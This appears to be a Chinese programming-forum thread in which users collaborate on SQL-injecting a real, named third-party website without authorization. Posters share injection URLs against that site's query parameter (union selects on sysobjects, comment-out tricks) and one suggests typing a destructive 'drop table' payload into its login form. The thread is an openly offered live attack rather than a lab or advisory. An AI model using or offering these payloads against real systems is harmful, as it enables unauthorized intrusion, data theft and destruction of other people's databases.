这个可以SQL注入网站

[好奇都是要学的]

我出于好奇试了个网站，没想到真没有屏蔽SQL注入。 我不是恶意破坏，只是玩。但是没有成功

http://www.jzfuwu.net/ADomesticRead.aspx?IDNo=11620' and select name from sysobjects where name>0 and 1= '1

返回的结果跟我想要的不一样。 没有提示哪个表转换INT出错， 希望有人提示下， 在哪拼错了

http://www.jzfuwu.net/ADomesticRead.aspx?IDNo=11620' and 1= '1 但是这么写就对。

[写代码写出法拉利]

后面加两 --
把后面的语句注释掉

[callmesai]

他后面有order by

http://www.jzfuwu.net/ADomesticRead.aspx?IDNo=11620' union select 0,1,2,3 from sysobjects where name>0 and '1'= '1'

可以根据这个SQL判断

[happy664618843]

[PitTroll]

[Quote=引用 1 楼 callmesai 的回复:]
他后面有order by

http://www.jzfuwu.net/ADomesticRead.aspx?IDNo=11620' union select 0,1,2,3 from sysobjects where name>0 and '1'= '1'

可以根据这个SQL判断
[/Quote]
也有问题啊。

[PitTroll]

[Quote=引用 6 楼 javaniejian 的回复:]
后面加两 --
把后面的语句注释掉
[/Quote]
也不行的，我昨天试了。

[第安城]

这个我已经可以注入了，就是猜不到表名，
你可以试试在登录的用户名框里输入
123' drop table sysobjects--
中间那个地方的sql是可以执行的